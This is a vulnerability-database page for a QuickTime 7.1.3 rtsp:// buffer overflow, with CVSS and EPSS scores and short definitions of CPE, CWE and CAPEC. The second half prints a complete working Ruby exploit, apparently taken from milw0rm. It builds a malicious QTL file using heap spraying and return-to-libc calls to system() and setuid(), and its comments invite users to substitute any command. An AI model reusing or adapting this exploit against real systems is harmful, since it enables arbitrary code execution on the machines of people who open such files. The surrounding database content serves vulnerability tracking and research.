CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Buffer overflow in Apple QuickTime 7.1.3 allows remote attackers to execute arbitrary code via a long rtsp:// URI.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
77.06%
–
–
2023-03-12
–
–
–
97.03%
–
2023-04-30
–
–
–
96.76%
–
2023-06-11
–
–
–
96.88%
–
2023-07-16
–
–
–
96.55%
–
2023-08-27
–
–
–
96.41%
–
2023-10-01
–
–
–
96.7%
–
2023-11-05
–
–
–
96.62%
–
2023-12-17
–
–
–
96.53%
–
2023-12-24
–
–
–
96.53%
–
2024-01-21
–
–
–
96.66%
–
2024-03-03
–
–
–
96.63%
–
2024-06-02
–
–
–
96.74%
–
2024-07-14
–
–
–
96.73%
–
2024-09-08
–
–
–
96.85%
–
2024-11-24
–
–
–
96.66%
–
2024-12-22
–
–
–
89.61%
–
2025-01-19
–
–
–
89.61%
–
2025-03-18
–
–
–
–
84.07%
2025-03-18
–
–
–
–
84.07,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/ruby
# Copyright (c) LMH <lmh [at] info-pull.com>
# Kevin Finisterre <kf_lists [at] digitalmunition.com>
#
# Notes:
# Our command string is loaded on memory at a static address normally,
# but this depends on execution method and the string length. The address set in this exploit will
# be likely successful if we open the resulting QTL file directly, without having an
# instance of Quicktime running. Although, when using another method and string, you'll need
# to find the address.
# For 100% reliable exploitation you can always use the /bin/sh address,
# but that's not as a cool as having your box welcoming the new year.
# Do whatever you prefer. That said, enjoy.
#
# see http://projects.info-pull.com/moab/MOAB-01-01-2007.html
# Command string: Use whatever you like.
# Remember that changing this will also need a change of the target address for system(),
# unless string length is the same.
CMD_STRING = "/usr/bin/say Happy new year shit bag"
# Mac OS X 10.4.8 (8L2127)
EBP_ADDR = 0xdeadbabe
SYSTEM_ADDR = 0x90046c30 # NX Wars: The Libc Strikes Back
SETUID_ADDR = 0x900334f0
CURL_ADDR = 0x916c24bc # /usr/bin/curl
SHELL_ADDR = 0x918bef3a # /bin/sh
CMDSTR_ADDR = [
SHELL_ADDR, # 0 addr to static /bin/sh (lame)
0x17a053c, # 1 addr to our command string (cool) :> (change as necessary)
0xbabeface, # 2 bogus addr for testing.
CURL_ADDR # 3 addr to '/usr/bin/curl'
]
# Payload
HAPPY = ("A" * 299) +
[EBP_ADDR].pack("V") +
[SYSTEM_ADDR].pack("V") +
[SETUID_ADDR].pack("V") +
[CMDSTR_ADDR[1]].pack("V") # change array index for using diff. addr
# Sleds: not necessary if using /bin/bash addr or other built-in addresses.
# although, for using our own fu, we need to spray some data for better reliability
# the goal is causing allocation of large heap chunks
NEW = ("\x90" * 30000) + CMD_STRING # feed the heap
YEAR = ("\x90" * 30000) + CMD_STRING # go johnny, go
APPLE = ("\x90" * 30000) + "EOOM" # feed the heap more
BOYZ = ("\x90" * 30000) + "FOOM" # and more
# QTL output template
QTL_CONTENT = "<?xml version=\"1.0\"?>" +
"<?quicktime type=\"application/x-quicktime-media-link\"?>" +
"<embed autoplay=\"true\" moviename=\"#{NEW}\" " +
"qtnext=\"#{YEAR}\" type=\"video/quicktime#{APPLE}\" " +
"src=\"rtsp://#{BOYZ}:#{HAPPY}\" />\n"
target_file = File.open("pwnage.qtl", "w+") { |f|
f.print(QTL_CONTENT)
f.close
}
# milw0rm.com [2007-01-01]